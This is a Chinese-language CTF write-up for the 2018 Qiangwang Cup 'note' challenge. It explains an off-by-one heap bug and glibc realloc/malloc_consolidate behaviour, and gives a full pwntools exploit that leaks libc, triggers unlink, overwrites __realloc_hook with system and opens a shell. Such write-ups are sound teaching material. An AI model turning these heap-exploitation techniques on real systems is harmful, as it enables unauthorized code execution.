note
漏洞位置 該程序為socket程序,綁定為1234端口,需要系統有note的用戶權限。程序在change_title的功能中存在off_by_one漏洞。
不過由于前面check_asc()中的限制,導致只能用0x0a、0x21、0x22、0x23、0x26、0x27、0x3F、0x40這幾個規定內的字節進行溢出。
利用思路 題目限制只能realloc3次,利用0x40進行off_by_one并布置unlink環境,在此之前應該首先利用change_content功能構造好滿足0x40大小的下一個chunk head。由于0x40大小的堆塊在fastbin的范圍內,無法直接free觸發unlink,于是第二次realloc將該chunk放入fastbin中,在第三次realloc時觸發malloc_consolidate進行unlink。unlink后,使.bss上的title指向comment指針,再配合change_comment功能,實現任意地址寫,最終采用寫realloc_hook為system的方法get shell。(不知道是否本地環境的問題,一開始就能直接leak libc)
realloc 函數原型為realloc(ptr, size),其中ptr為指向堆的指針,size為需要realloc的大小,根據size的大小有以下幾種情況:
- size = 0時,相當于free(ptr)。
- size < ptr原大小時,會將原chunk分割為兩部分,free掉后面的chunk。
- size = ptr原大小時,沒什么卵用,不會進行任何操作。注:該等于為將size對齊后相等。
- size > ptr原大小時,若ptr下方為top chunk或者下方存在fastbin之外的free chunk并且size(free chunk) + size(ptr原大小) ≥ size,則將該堆塊大小擴展至size,若不滿足上述條件,則相當于free(ptr)然后malloc(size)。
malloc_consolidate 該函數會將fastbin中的所有chunk整合到unsort bin中,并且在從fastbin中摘下chunk時會檢查相鄰的堆塊是否為free狀態,若為free狀態則將觸發堆融合。本題采用malloc大于top chunk的size觸發malloc_consolidate。
my-exp.py
from pwn import *
local = 1
if local:
p = remote('0' , 1234)
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
else:
print 'time is up'
def change_title(title):
p.recvuntil('--->>\n')
p.sendline('1')
p.recvuntil('title:')
p.send(title) #off_by_one
def change_content(size , content):
p.recvuntil('--->>')
p.sendline('2')
p.recvuntil('256):')
p.sendline(str(size))
p.recvuntil('content:')
p.sendline(content)
def change_comment(comment):
p.recvuntil('--->>')
p.sendline('3')
p.recvuntil('comment:')
p.sendline(comment)
def show():
p.recvuntil('--->>')
p.sendline('4')
p.recvuntil('is:')
return p.recvuntil('\n')[:-1]
#step1 leak libc_base
libc.address = u64(show().ljust(8 , '\x00')) - 0x3c4b78
success('libc_base => ' + hex(libc.address))
system_addr = libc.symbols['system']
info('system_addr => ' + hex(system_addr))
realloc_hook = libc.symbols['__realloc_hook']
info('realloc_hook => ' + hex(realloc_hook))
binsh_addr = libc.search('/bin/sh\x00').next()
info('binsh_addr => ' + hex(binsh_addr))
#step2 make unlink
content = 0x602070
payload = p64(0x30) + p64(0x20) + p64(content - 0x18) + p64(content - 0x10) + p64(0x20) + '\x40'
change_content(0x78 , 0x38 * 'A' + p64(0x41))
change_title(payload)
#step3 free content to fastbin
change_content(0x100 , '')
#step4 trigger malloc_consolidate to unlink
change_content(0x20000 , '')
#step5 realloc_hook -> system
change_title(p64(realloc_hook) + '\n')
change_comment(p64(system_addr))
#step6 reset chance & content -> /bin/sh
change_title(p64(0x602050) + p64(binsh_addr) + '\n')
change_comment(p64(0))
#step7 realloc(content , size) => realloc_hook(binsh_addr) => system('/bin/sh\x00')
p.recvuntil('option--->>')
p.sendline('2')
p.recvuntil('(64-256):')
p.sendline('') #size doesn't matter
#Get Shell & Have Fun
p.interactive()
2018強網杯-Writeup